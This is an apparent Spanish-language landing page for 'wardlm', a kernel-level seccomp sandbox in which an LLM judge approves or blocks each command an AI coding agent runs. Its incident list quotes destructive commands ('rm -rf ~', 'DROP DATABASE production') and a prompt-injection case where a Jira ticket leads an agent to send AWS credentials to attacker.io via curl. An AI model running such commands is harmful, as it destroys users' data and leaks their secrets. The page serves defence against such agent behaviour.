Incidentes reales · 2024–2026Ya hubo incidentes.
Ya hubo incidentes.
Con herramientas que usás hoy.
INC-001Dic 2025
CRÍTICOCursor
rm -rf ~Sesión de dev normal. Todo el home directory, borrado.
Cursor Forum #129401
bloqueado
bloqueadoINC-002Mar 2026
CRÍTICOClaude Code
rm -rf ./app ./components ./libPediste un refactor. Perdiste el proyecto.
GitHub Issues #37331bloqueado
bloqueadoINC-003Jul 2025
CRÍTICOReplit Agent
DROP DATABASE productionCode freeze activo. No importó.
HN #44632270bloqueado
bloqueadoINC-004Ago 2025
ALTOCursor + Jira MCP
curl attacker.io -d $(cat ~/.aws/credentials)Un ticket en Jira. Tus AWS keys, afuera.
Snyk Labsbloqueado
bloqueadoArquitecturaCada syscall,
Cada syscall,
interceptado en el kernel.
1execve('/bin/bash', 'rm -rf /')
5execve() resume·aprobado|-EACCES
1execve('/bin/bash', 'rm -rf /')
5execve() resume·aprobado|-EACCES
Linux Kernel
seccomp · BPF filter
Filtro aplicado solo a procesos del agente. Cada syscall execve queda suspendido a la espera de veredicto.
2SECCOMP_RET_USER_NOTIF
4NOTIF_SEND·CONTINUE|-EACCES
2SECCOMP_RET_USER_NOTIF
4NOTIF_SEND·CONTINUE|-EACCES
wardlm · userspace
LLM judge — approve/deny
Clasificador binario por cada execve. ~300ms de overhead.
3/var/log/wardlm
3/var/log/wardlm
Electron
Log + Auditoría
Cada decisión registrada para auditoría y revisión posterior.
MIT · Sin telemetría · Linux kernel 5.0+Instalá
Instalá
wardlm.
Un comando. Sin dependencias de cloud.
Tus agentes, contenidos a nivel kernel.
$
curl -fsSL https://wardlm.vercel.app/install.sh | bashCopiado al portapapeles
